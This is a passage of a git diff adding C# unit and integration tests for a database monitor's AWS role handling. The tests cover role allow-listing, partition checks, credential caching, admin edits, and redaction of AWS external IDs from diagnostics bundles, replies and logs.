+    [Fact]
+    public async Task ABundleBuiltFromARoleServersStore_NamesTheRoleAsAnAlias_AndNeverHoldsTheExternalId()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live bundle test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-awsrole-");
+        var bodySucceeded = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await SeedServerAsync(connection, ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            // The role arm's input: an STS refusal whose own text repeats the external ID, read through the real RDS reader.
+            var sts = new FakeSts((_, _) => throw FakeSts.Error("AccessDenied", $"not authorized (ExternalId={ExternalId})"));
+            var cache = new AwsRoleCredentialCache(AwsRoleAllowlist.From([Role]), null, sts.Factory, FakeSts.Source, new ManualTimeProvider(), null, new CapturingAwsLogger());
+            var ingestor = new RdsCpuIngestor(
+                NpgsqlDataSource.Create("Host=localhost;Port=1;Database=unused"),
+                verifier: RdsEndpointVerifier.ForTests(enforce: true, loginProbe: (_, _) => Task.FromResult<string?>(null)),
+                roles: cache);
+            var thrown = await Record.ExceptionAsync(
+                () => ingestor.IngestAsync(9201, ServerName, Host, "Host=" + Host, new AwsRoleKey(Role, ExternalId), ct));
+            var fault = DarlingWorker.AwsRoleConfigurationFault(thrown!);
+            Assert.NotNull(fault);
+
+            // The worker's role arm: its note, written to collection_log as PERMISSIONS in the storage-time slot.
+            var runtime = new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = ServerName, Host = Host },
+                ConnectionString = "Host=" + Host,
+                Target = new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql },
+                StorageName = ServerName,
+                ServerId = 9201,
+            };
+            var note = DarlingWorker.AwsRoleFaultNote(new CapturingAwsLogger(), ServerName, "pg_plan_capture", fault!);
+            await DarlingObservability.LogCollectionAsync(
+                postgres, runtime, "pg_plan_capture", "PERMISSIONS", 0, 0, 5, note,
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: null, null, ct);
+
+            // The store really holds the role in that row, so the bundle's alias is doing the work.
+            await using (var verify = await postgres.OpenConnectionAsync(ct))
+            await using (var read = new NpgsqlCommand(
+                "SELECT error_message FROM collection_log WHERE server_id = 9201 AND status = 'PERMISSIONS'", verify))
+            {
+                var stored = (string?)await read.ExecuteScalarAsync(ct);
+                Assert.Contains(Role, stored, StringComparison.Ordinal);
+                Assert.DoesNotContain(ExternalId, stored, StringComparison.Ordinal);
+            }
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var outcome = await DiagnosticsBundleRunner.BuildAsync(options, new DarlingConfig(), scratch.ConnectionString, postgres, null, null, ct);
+
+            Assert.NotEqual(DarlingCliCommands.DiagnosticsBundleExitCode.LeakGuard, outcome.ExitCode);
+            Assert.NotNull(outcome.Text);
+            Assert.DoesNotContain(ExternalId, outcome.Text, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(Role, outcome.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("darling-monitor", outcome.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("123456789012", outcome.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain(ServerName, outcome.Text, StringComparison.Ordinal);
+
+            // The bundle still says what happened: the collector's PERMISSIONS answer, with the role under its alias.
+            Assert.Contains("PERMISSIONS", outcome.Text, StringComparison.Ordinal);
+            Assert.Contains("role-", outcome.Text, StringComparison.Ordinal);
+            Assert.Contains("trust policy", outcome.Text, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            root.Delete(recursive: true);
+        }
+    }
+
+    /* A second row that carries the external ID as plain text, the way an unscrubbed message from AWS could: the bundle
+       removes it as well, so no text the store holds can carry the ID out. */
+    [Fact]
+    public async Task AnExternalIdTheStoreHoldsInAnyRowText_IsRemovedFromTheBundle()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to run the live bundle test.");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-awsrole-");
+        var bodySucceeded = false;
+        try
+        {
+            await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await SeedServerAsync(connection, ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var runtime = new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = ServerName, Host = Host },
+                ConnectionString = "Host=" + Host,
+                Target = new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql },
+                StorageName = ServerName,
+                ServerId = 9201,
+            };
+            await DarlingObservability.LogCollectionAsync(
+                postgres, runtime, "pg_plan_capture", "ERROR", 0, 0, 5, $"AWS answered for role {Role}: request externalId={ExternalId}",
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: null, null, ct);
+
+            var options = DiagnosticsBundle.ParseArgs(new[] { Path.Combine(root.FullName, "b.json"), "--log-dir", root.FullName }).Options!;
+            var outcome = await DiagnosticsBundleRunner.BuildAsync(options, new DarlingConfig(), scratch.ConnectionString, postgres, null, null, ct);
+
+            Assert.NotEqual(DarlingCliCommands.DiagnosticsBundleExitCode.LeakGuard, outcome.ExitCode);
+            Assert.NotNull(outcome.Text);
+            Assert.DoesNotContain(ExternalId, outcome.Text, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(Role, outcome.Text, StringComparison.Ordinal);
+            Assert.DoesNotContain("darling-monitor", outcome.Text, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            root.Delete(recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleCredentialCacheTests.cs b/Darling/Darling.Tests/AwsRoleCredentialCacheTests.cs
new file mode 100644
index 0000000000..3e5c0eccc4
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleCredentialCacheTests.cs
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-process cache of assumed-role credentials (#5452): the allow list and the partition are checked on every
+/// call and before any AWS call, and one key means one entry. The example account is 123456789012.
+/// </summary>
+public sealed class AwsRoleCredentialCacheTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string ChinaRole = "arn:aws-cn:iam::123456789012:role/darling-monitor";
+    private const string GovRole = "arn:aws-us-gov:iam::123456789012:role/darling-monitor";
+
+    private static AwsRoleCredentialCache Cache(FakeSts sts, AwsRoleAllowlist? list = null, ManualTimeProvider? clock = null) =>
+        new(list ?? AwsRoleAllowlist.From(new[] { "123456789012", "aws-cn:123456789012", "aws-us-gov:123456789012" }), null, sts.Factory, FakeSts.Source, clock ?? new ManualTimeProvider());
+
+    /* ---- the allow list, at use ---------------------------------------------------------------------------- */
+
+    [Fact]
+    public void ARoleTheListDoesNotAllow_IsNeverAssumed_WithTheSettledText()
+    {
+        var sts = new FakeSts();
+        var cache = Cache(sts, AwsRoleAllowlist.Empty);
+
+        var ex = Assert.Throws<AwsRoleAssumeException>(() => cache.For(new AwsRoleKey(Role, null), "us-east-1"));
+
+        Assert.Equal(AwsRoleAssumeKind.NotAllowed, ex.Kind);
+        Assert.True(ex.IsConfiguration);
+        Assert.Equal(
+            "The AWS role arn:aws:iam::123456789012:role/darling-monitor on this server is not in allowedAwsRoles in darling.json, so it was not used. "
+            + "Nothing was read this cycle. Add the role or its account id to the list and restart the service, or clear the role on this server.",
+            ex.Message);
+        Assert.Equal(0, cache.Count);
+        Assert.Equal(0, sts.Calls);
+        Assert.Empty(sts.Regions);
+    }
+
+    [Fact]
+    public void ARoleOnAnotherAccountsList_IsNotAllowed()
+    {
+        var cache = Cache(new FakeSts(), AwsRoleAllowlist.From(new[] { "999999999999", "arn:aws:iam::123456789012:role/other-role" }));
+
+        var ex = Assert.Throws<AwsRoleAssumeException>(() => cache.For(new AwsRoleKey(Role, null), "us-east-1"));
+
+        Assert.Equal(AwsRoleAssumeKind.NotAllowed, ex.Kind);
+    }
+
+    [Theory]
+    [InlineData("123456789012")]
+    [InlineData("arn:aws:iam::123456789012:role/darling-monitor")]
+    public void AnAccountIdOrTheExactArn_AllowsTheRole(string entry)
+    {
+        var cache = Cache(new FakeSts(), AwsRoleAllowlist.From(new[] { entry }));
+
+        Assert.NotNull(cache.For(new AwsRoleKey(Role, null), "us-east-1"));
+        Assert.True(cache.Contains(new AwsRoleKey(Role, null)));
+    }
+
+    [Fact]
+    public async Task TheListIsCheckedOnEveryCall_EvenWhenTheRoleIsAlreadyCached()
+    {
+        var sts = new FakeSts();
+        var cache = Cache(sts);
+        var key = new AwsRoleKey(Role, null);
+
+        var credentials = cache.For(key, "us-east-1");
+        await credentials.GetCredentialsAsync();
+        Assert.Equal(1, sts.Calls);
+
+        var ex = Assert.Throws<AwsRoleAssumeException>(() => cache.For(key, "us-east-1", AwsRoleAllowlist.Empty));
+        Assert.Equal(AwsRoleAssumeKind.NotAllowed, ex.Kind);
+        Assert.Equal(1, sts.Calls);
+
+        /* The cache's own list still allows it, so the next call without an override is served. */
+        Assert.NotNull(cache.For(key, "us-east-1"));
+    }
+
+    [Fact]
+    public void TheListIsCheckedBeforeThePartition()
+    {
+        var cache = Cache(new FakeSts(), AwsRoleAllowlist.Empty);
+
+        var ex = Assert.Throws<AwsRoleAssumeException>(() => cache.For(new AwsRoleKey(Role, null), "cn-north-1"));
+
+        Assert.Equal(AwsRoleAssumeKind.NotAllowed, ex.Kind);
+    }
+
+    /* ---- the partition, on every call ---------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task TheRolePartitionMustBeTheRegionsPartition_OnEveryCall()
+    {
+        var sts = new FakeSts();
+        var cache = Cache(sts);
+        var key = new AwsRoleKey(Role, null);
+
+        await cache.For(key, "us-east-1").GetCredentialsAsync();
+
+        var china = Assert.Throws<AwsRoleAssumeException>(() => cache.For(key, "cn-north-1"));
+        Assert.Equal(AwsRoleAssumeKind.PartitionMismatch, china.Kind);
+        Assert.True(china.IsConfiguration);
+        Assert.Equal(
+            "Role arn:aws:iam::123456789012:role/darling-monitor is in AWS partition aws, but this target's region cn-north-1 is in partition aws-cn. "
+            + "A role can be assumed only inside its own partition. Nothing was read this cycle. "
+            + "Set a role from the target's partition on this server, or clear the role, or correct the server's host name if it names the wrong region.",
+            china.Message);
+
+        /* The entry exists and was used from us-east-1, and the mismatch is still refused: the check is per call. */
+        var gov = Assert.Throws<AwsRoleAssumeException>(() => cache.For(key, "us-gov-west-1"));
+        Assert.Equal(AwsRoleAssumeKind.PartitionMismatch, gov.Kind);
+        Assert.NotNull(cache.For(key, "eu-west-1"));
+        Assert.Equal(1, sts.Calls);
+    }
+
+    [Theory]
+    [InlineData(ChinaRole, "cn-north-1")]
+    [InlineData(GovRole, "us-gov-west-1")]
+    [InlineData(Role, "ap-southeast-2")]
+    public void ARoleInTheRegionsOwnPartition_IsServed(string role, string region)
+    {
+        var cache = Cache(new FakeSts());
+
+        Assert.NotNull(cache.For(new AwsRoleKey(role, null), region));
+    }
+
+    [Fact]
+    public void AnArnWithNoPartition_IsAMismatch_NotACrash()
+    {
+        var cache = Cache(new FakeSts(), AwsRoleAllowlist.From(new[] { "not-an-arn" }));
+
+        Assert.Equal("", AwsRoleCredentialCache.PartitionOf("not-an-arn"));
+        Assert.Equal("aws-cn", AwsRoleCredentialCache.PartitionOf(ChinaRole));
+        Assert.Throws<ArgumentException>(() => cache.For(new AwsRoleKey(Role, null), " "));
+    }
+
+    /* ---- one entry per key --------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task OneKey_OneEntry_OneStsCall_ForEveryServerThatNamesIt()
+    {
+        var sts = new FakeSts();
+        var cache = Cache(sts);
+        var key = new AwsRoleKey(Role, "shared-external-id");
+
+        var first = cache.For(key, "us-east-1");
+        var second = cache.For(new AwsRoleKey(Role, "shared-external-id"), "eu-west-1");
+        await Task.WhenAll(first.GetCredentialsAsync(), second.GetCredentialsAsync());
+
+        Assert.Equal(1, cache.Count);
+        Assert.Equal(1, sts.Calls);
+    }
+
+    [Fact]
+    public void ARoleWithAnotherExternalId_IsAnotherEntry()
+    {
+        var cache = Cache(new FakeSts());
+
+        cache.For(new AwsRoleKey(Role, "first-external-id"), "us-east-1");
+        cache.For(new AwsRoleKey(Role, "second-external-id"), "us-east-1");
+        cache.For(new AwsRoleKey(Role, null), "us-east-1");
+
+        Assert.Equal(3, cache.Count);
+    }
+
+    [Fact]
+    public void Retain_DropsTheKeysNoEnabledServerNamesAnyMore()
+    {
+        var cache = Cache(new FakeSts());
+        var keep = new AwsRoleKey(Role, "keep-external-id");
+        var drop = new AwsRoleKey(Role, "drop-external-id");
+        cache.For(keep, "us-east-1");
+        cache.For(drop, "us-east-1");
+
+        cache.Retain(new[] { keep });
+
+        Assert.True(cache.Contains(keep));
+        Assert.False(cache.Contains(drop));
+        Assert.Equal(1, cache.Count);
+
+        cache.Retain(Array.Empty<AwsRoleKey>());
+        Assert.Equal(0, cache.Count);
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleEditTests.cs b/Darling/Darling.Tests/AwsRoleEditTests.cs
new file mode 100644
index 0000000000..5442ff252d
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleEditTests.cs
@@ -0,0 +1,468 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5452: which AWS roles the web and MCP may set. The edit's plan and the add's parse take the list as an argument
+/// (these tests never set <see cref="AwsRoleAllowlist.Current"/>, a process-wide value): no list, a role not on it, a
+/// listed role, a 12-digit account entry, a blank role that keeps the stored one, an explicit null that removes it, a
+/// role change that would keep the stored external ID unseen, and the typed external ID kept out of every answer and
+/// audit line. The role below is the example account's.
+/// </summary>
+public sealed class AwsRoleEditTests
+{
+    private const string RoleA = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string RoleB = "arn:aws:iam::123456789012:role/darling-other";
+    private const string OtherAccountRole = "arn:aws:iam::210987654321:role/darling-monitor";
+    private const string TypedId = "ext-id-7f3a9c";
+
+    private static readonly DateTime Stamp = new(2026, 10, 5, 12, 0, 0, 123, DateTimeKind.Unspecified);
+
+    private static Edit.ServerEditRow PgRow(string? role = null, bool idSet = false) => new(
+        ServerId: 41, Name: "pg-01", Host: "pg-01.example.test", Port: 5432, Database: null, ReadOnlyIntent: false, Engine: "postgres",
+        Auth: "sql", Username: "monitor", EncryptMode: "Mandatory", TrustServerCertificate: false,
+        MultiSubnetFailover: false, MonthlyCostUsd: 10m, ModifiedAt: Stamp.AddTicks(7), AwsRoleArn: role, AwsExternalIdSet: idSet);
+
+    private static Edit.ServerEditRow SqlServerRow() => new(
+        ServerId: 42, Name: "sql-01", Host: "sql-01.example.test", Port: 0, Database: null, ReadOnlyIntent: false, Engine: "sqlserver",
+        Auth: "sql", Username: "monitor", EncryptMode: "Mandatory", TrustServerCertificate: false,
+        MultiSubnetFailover: false, MonthlyCostUsd: 10m, ModifiedAt: Stamp.AddTicks(7));
+
+    private static (Edit.ServerEditPlan? Plan, string? Error) Plan(Edit.ServerEditRow row, string json, AwsRoleAllowlist list)
+    {
+        var (changes, error) = Edit.ParseEditChanges(json);
+        Assert.Null(error);
+        return Edit.PlanEdit(row, changes!, TestKeyRings.Healthy.Status, list);
+    }
+
+    [Fact]
+    public void SettingARole_WithNoList_IsRefusedWithTheNoListSentence()
+    {
+        var (plan, error) = Plan(PgRow(), $"{{\"aws_role_arn\":\"{RoleA}\"}}", AwsRoleAllowlist.Empty);
+        Assert.Null(plan);
+        Assert.Equal(
+            "The web and MCP cannot set an AWS role until darling.json lists the roles they may use. Add allowedAwsRoles to darling.json, then restart the service.",
+            error);
+    }
+
+    [Fact]
+    public void SettingARole_NotOnTheList_IsRefusedWithTheNotListedSentence()
+    {
+        var (plan, error) = Plan(PgRow(), $"{{\"aws_role_arn\":\"{OtherAccountRole}\"}}", AwsRoleAllowlist.From([RoleA]));
+        Assert.Null(plan);
+        Assert.Equal(
+            "That AWS role is not on the list of roles the web and MCP may set. Add it to allowedAwsRoles in darling.json and restart the service.",
+            error);
+    }
+
+    [Fact]
+    public void SettingARole_OnTheList_ByArnOrByAccountId_IsPlanned()
+    {
+        foreach (var entry in new[] { RoleA, "123456789012" })
+        {
+            var (plan, error) = Plan(PgRow(), $"{{\"aws_role_arn\":\"  {RoleA}  \"}}", AwsRoleAllowlist.From([entry]));
+            Assert.Null(error);
+            var set = Assert.Single(plan!.Sets, s => s.Field == "aws_role_arn");
+            Assert.Equal("aws_role_arn", set.Column);
+            Assert.Equal(RoleA, set.Value);
+            Assert.Contains("aws_role_arn", plan.ChangedFields);
+        }
+    }
+
+    [Fact]
+    public void ABlankOrAbsentRole_KeepsTheStoredRole_AndIsNeverChecked()
+    {
+        foreach (var json in new[] { "{\"aws_role_arn\":\"   \"}", "{\"aws_role_arn\":\"\"}", "{\"monthly_cost_usd\":11}" })
+        {
+            var (plan, error) = Plan(PgRow(RoleA, idSet: true), json, AwsRoleAllowlist.Empty);
+            Assert.Null(error);
+            Assert.DoesNotContain(plan!.Sets, s => s.Column is "aws_role_arn" or "aws_external_id");
+            Assert.Equal(RoleA, plan.NewAwsRoleArn);
+        }
+    }
+
+    [Fact]
+    public void ANullRole_RemovesIt_EvenWithNoList_AndLeavesTheExternalIdToTheStore()
+    {
+        var (plan, error) = Plan(PgRow(RoleA, idSet: true), "{\"aws_role_arn\":null}", AwsRoleAllowlist.Empty);
+        Assert.Null(error);
+        var set = Assert.Single(plan!.Sets, s => s.Column == "aws_role_arn");
+        Assert.Null(set.Value);
+        Assert.DoesNotContain(plan.Sets, s => s.Column == "aws_external_id");
+    }
+
+    [Fact]
+    public void TheSameRoleAsStored_IsNoChange_AndIsNotChecked()
+    {
+        var (plan, error) = Plan(PgRow(RoleA), $"{{\"aws_role_arn\":\"{RoleA}\"}}", AwsRoleAllowlist.Empty);
+        Assert.Null(error);
+        Assert.Empty(plan!.Sets);
+    }
+
+    [Fact]
+    public void ChangingTheRole_WhileAnExternalIdIsStored_NeedsTheIdWithIt()
+    {
+        var list = AwsRoleAllowlist.From(["123456789012"]);
+        var (plan, error) = Plan(PgRow(RoleA, idSet: true), $"{{\"aws_role_arn\":\"{RoleB}\"}}", list);
+        Assert.Null(plan);
+        Assert.Equal(AwsRoleSettings.RoleChangeNeedsExternalIdMessage, error);
+
+        var (replaced, replaceError) = Plan(PgRow(RoleA, idSet: true), $"{{\"aws_role_arn\":\"{RoleB}\",\"aws_external_id\":\"{TypedId}\"}}", list);
+        Assert.Null(replaceError);
+        Assert.Contains(replaced!.Sets, s => s.Column == "aws_external_id" && (string?)s.Value == TypedId);
+
+        var (cleared, clearError) = Plan(PgRow(RoleA, idSet: true), $"{{\"aws_role_arn\":\"{RoleB}\",\"aws_external_id\":null}}", list);
+        Assert.Null(clearError);
+        Assert.Contains(cleared!.Sets, s => s.Column == "aws_external_id" && s.Value is null);
+    }
+
+    [Fact]
+    public void AnExternalId_WithNoRole_IsRefused()
+    {
+        var (plan, error) = Plan(PgRow(), $"{{\"aws_external_id\":\"{TypedId}\"}}", AwsRoleAllowlist.From(["123456789012"]));
+        Assert.Null(plan);
+        Assert.Equal(AwsRoleSettings.ExternalIdNeedsRoleMessage, error);
+    }
+
+    [Fact]
+    public void ARole_OnASqlServerTarget_IsRefused()
+    {
+        var (plan, error) = Plan(SqlServerRow(), $"{{\"aws_role_arn\":\"{RoleA}\"}}", AwsRoleAllowlist.From([RoleA]));
+        Assert.Null(plan);
+        Assert.Equal(AwsRoleSettings.RoleNeedsPostgresMessage, error);
+    }
+
+    [Fact]
+    public void AMalformedRoleOrExternalId_IsRefusedByTheParse_WithTheSharedSentence()
+    {
+        var (_, roleError) = Edit.ParseEditChanges("{\"aws_role_arn\":\"not-an-arn\"}");
+        Assert.Equal(AwsRoleSettings.InvalidRoleMessage, roleError);
+        var (_, idError) = Edit.ParseEditChanges("{\"aws_external_id\":\"has space\"}");
+        Assert.Equal(AwsRoleSettings.InvalidExternalIdMessage, idError);
+        var (_, typeError) = Edit.ParseEditChanges("{\"aws_role_arn\":5}");
+        Assert.Equal("aws_role_arn must be text, or null to remove the role.", typeError);
+    }
+
+    [Fact]
+    public void TheCurrentValues_CarryTheRoleAndWhetherAnIdIsSet_NeverTheId()
+    {
+        var json = JsonSerializer.Serialize(Edit.CurrentValuesOf(PgRow(RoleA, idSet: true)));
+        Assert.Contains(RoleA, json, StringComparison.Ordinal);
+        Assert.Contains("\"aws_external_id_set\":true", json, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"aws_external_id\"", json, StringComparison.Ordinal);
+        Assert.Contains("aws_external_id_set", Edit.ReadEditRowSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("aws_external_id,", Edit.ReadEditRowSql.Replace("aws_external_id_set", "", StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFunctionCall_TakesSeventeenArguments_TheRoleAndIdLast()
+    {
+        var parameters = Edit.BuildEditFunctionParameters(41, Stamp,
+        [
+            new Edit.EditColumnValue("aws_role_arn", "aws_role_arn", NpgsqlDbType.Text, RoleA),
+            new Edit.EditColumnValue("aws_external_id", "aws_external_id", NpgsqlDbType.Text, TypedId),
+        ]);
+        Assert.Equal(17, parameters.Count);
+        Assert.Contains("$17)", Edit.EditFunctionSql, StringComparison.Ordinal);
+        Assert.Equal(RoleA, parameters[15].Value);
+        Assert.Equal(TypedId, parameters[16].Value);
+    }
+
+    [Fact]
+    public async Task TheStoresExternalIdNeededAnswers_BecomeTheSharedSentences()
+    {
+        foreach (var (kind, text) in new[]
+        {
+            (Edit.ServerEditWriteKind.ExternalIdNeeded, AwsRoleSettings.RoleChangeNeedsExternalIdMessage),
+            (Edit.ServerEditWriteKind.ExternalIdNeedsRole, AwsRoleSettings.ExternalIdNeedsRoleMessage),
+        })
+        {
+            var store = new Store(PgRow(RoleA, idSet: true)) { WriteResult = kind };
+            var answer = await Edit.EditServerCoreAsync(store, 41, "{\"monthly_cost_usd\":11}", Reachable, TestKeyRings.Healthy, null, CancellationToken.None);
+            using var doc = JsonDocument.Parse(answer);
+            Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+            Assert.Equal(text, doc.RootElement.GetProperty("message").GetString());
+        }
+    }
+
+    [Fact]
+    public async Task RemovingARole_IsAudited_WithOldAndNewRole_AndTheAnswerNamesBoth()
+    {
+        var store = new Store(PgRow(RoleA, idSet: true));
+        var logger = new CapturingLogger();
+        var answer = await Edit.EditServerCoreAsync(store, 41, "{\"aws_role_arn\":null}", Reachable, TestKeyRings.Healthy, logger, CancellationToken.None);
+        using var doc = JsonDocument.Parse(answer);
+        Assert.Equal("updated", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal(RoleA, doc.RootElement.GetProperty("old_aws_role_arn").GetString());
+        Assert.Equal(JsonValueKind.Null, doc.RootElement.GetProperty("new_aws_role_arn").ValueKind);
+        Assert.Contains(logger.Lines, l => l.Contains(RoleA, StringComparison.Ordinal) && l.Contains("(none)", StringComparison.Ordinal) && l.Contains("AWS role changed", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ATypedExternalId_NeverReachesAnAnswerOrALogLine()
+    {
+        /* The role is the stored one (no list check), the host moves and a password comes with it, so the probe runs; its
+           error quotes the typed ID. */
+        var store = new Store(PgRow(RoleA, idSet: true));
+        var logger = new CapturingLogger();
+        var body = $"{{\"host\":\"pg-02.example.test\",\"password\":\"pw-secret-1\",\"aws_external_id\":\"{TypedId}\"}}";
+        var failing = (Edit.ServerProbe)((_, _) => Task.FromResult(
+            new ConnectionProbeResult(false, 0, 0, null, false, false, false, false, "refused with " + TypedId)));
+        var answer = await Edit.EditServerCoreAsync(store, 41, body, failing, TestKeyRings.Healthy, logger, CancellationToken.None);
+        Assert.DoesNotContain(TypedId, answer, StringComparison.Ordinal);
+        /* The reply names the host and carries no driver text; the driver's text, with the typed ID removed, is in the log. */
+        Assert.Contains("Could not connect to pg-02.example.test", answer, StringComparison.Ordinal);
+        Assert.Contains(logger.Lines, l => l.Contains("refused with [redacted]", StringComparison.Ordinal));
+
+        var ok = await Edit.EditServerCoreAsync(store, 41, body, Reachable, TestKeyRings.Healthy, logger, CancellationToken.None);
+        Assert.DoesNotContain(TypedId, ok, StringComparison.Ordinal);
+        Assert.All(logger.Lines, l => Assert.DoesNotContain(TypedId, l, StringComparison.Ordinal));
+    }
+
+    /* ---------------- the save path of a role-only edit ---------------- */
+
+    [Fact]
+    public void ARoleOnlyEdit_ReconnectsUnderTheNewRole_AndNeedsNoProbe()
+    {
+        /* The probe opens a PostgreSQL connection and makes no AWS call (DarlingServerConnector.ProbeAsync), so an edit
+           that moves nothing the connection uses has nothing to probe, the same as a display-name-only edit. What the
+           role changes is the service's connection: the answer says it reconnects. */
+        var list = AwsRoleAllowlist.From([RoleA, RoleB]);
+        foreach (var (row, body) in new[]
+        {
+            (PgRow(), $"{{\"aws_role_arn\":\"{RoleA}\"}}"),
+            (PgRow(RoleA), $"{{\"aws_role_arn\":\"{RoleB}\"}}"),
+            (PgRow(RoleA), "{\"aws_role_arn\":null}"),
+            (PgRow(RoleA, idSet: true), "{\"aws_role_arn\":null}"),
+            (PgRow(RoleA, idSet: true), $"{{\"aws_role_arn\":\"{RoleB}\",\"aws_external_id\":\"{TypedId}\"}}"),
+            (PgRow(RoleA, idSet: true), $"{{\"aws_external_id\":\"{TypedId}\"}}"),
+            (PgRow(RoleA, idSet: true), "{\"aws_external_id\":null}"),
+        })
+        {
+            var (plan, error) = Plan(row, body, list);
+            Assert.Null(error);
+            Assert.True(plan!.Reconnects, body);
+            Assert.False(plan.NeedsProbe, body);
+        }
+
+        var (cost, _) = Plan(PgRow(RoleA, idSet: true), "{\"monthly_cost_usd\":11}", list);
+        Assert.False(cost!.Reconnects);
+
+        var (same, _) = Plan(PgRow(RoleA, idSet: true), $"{{\"aws_role_arn\":\"{RoleA}\",\"monthly_cost_usd\":11}}", list);
+        Assert.False(same!.Reconnects);
+    }
+
+    [Fact]
+    public async Task ARoleRemoval_WritesAndAnswersReconnectsTrue_WithNoProbe()
+    {
+        var store = new Store(PgRow(RoleA, idSet: true));
+        var probed = 0;
+        var counting = (Edit.ServerProbe)((_, _) => { probed++; return Task.FromResult(new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null)); });
+        var answer = await Edit.EditServerCoreAsync(store, 41, "{\"aws_role_arn\":null}", counting, TestKeyRings.Healthy, null, CancellationToken.None);
+        using var doc = JsonDocument.Parse(answer);
+        Assert.Equal("updated", doc.RootElement.GetProperty("status").GetString());
+        Assert.True(doc.RootElement.GetProperty("reconnects").GetBoolean());
+        Assert.Equal(0, probed);
+        Assert.Equal(1, store.Writes);
+    }
+
+    [Fact]
+    public async Task AConnectionEdit_ThatKeepsTheRole_ProbesWithTheRole_AndAnswersReconnects()
+    {
+        MonitoredServer? probedConfig = null;
+        var recording = (Edit.ServerProbe)((config, _) =>
+        {
+            probedConfig = config;
+            return Task.FromResult(new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null));
+        });
+        var store = new Store(PgRow(RoleA, idSet: true));
+        var body = "{\"host\":\"pg-02.example.test\",\"password\":\"pw-secret-1\"}";
+        var answer = await Edit.EditServerCoreAsync(store, 41, body, recording, TestKeyRings.Healthy, null, CancellationToken.None);
+        using var doc = JsonDocument.Parse(answer);
+        Assert.Equal("updated", doc.RootElement.GetProperty("status").GetString());
+        Assert.True(doc.RootElement.GetProperty("reconnects").GetBoolean());
+        Assert.True(doc.RootElement.GetProperty("tested").GetBoolean());
+        Assert.NotNull(probedConfig);
+        Assert.Equal(RoleA, probedConfig!.AwsRoleArn);
+    }
+
+    [Fact]
+    public async Task ARoleTheListRefuses_StopsTheEdit_BeforeAnyProbeOrWrite()
+    {
+        /* Current is Empty in these tests: a role set along with a host move is refused by the list first, so the probe
+           (which would connect to the new host) never runs and nothing is written. */
+        var store = new Store(PgRow());
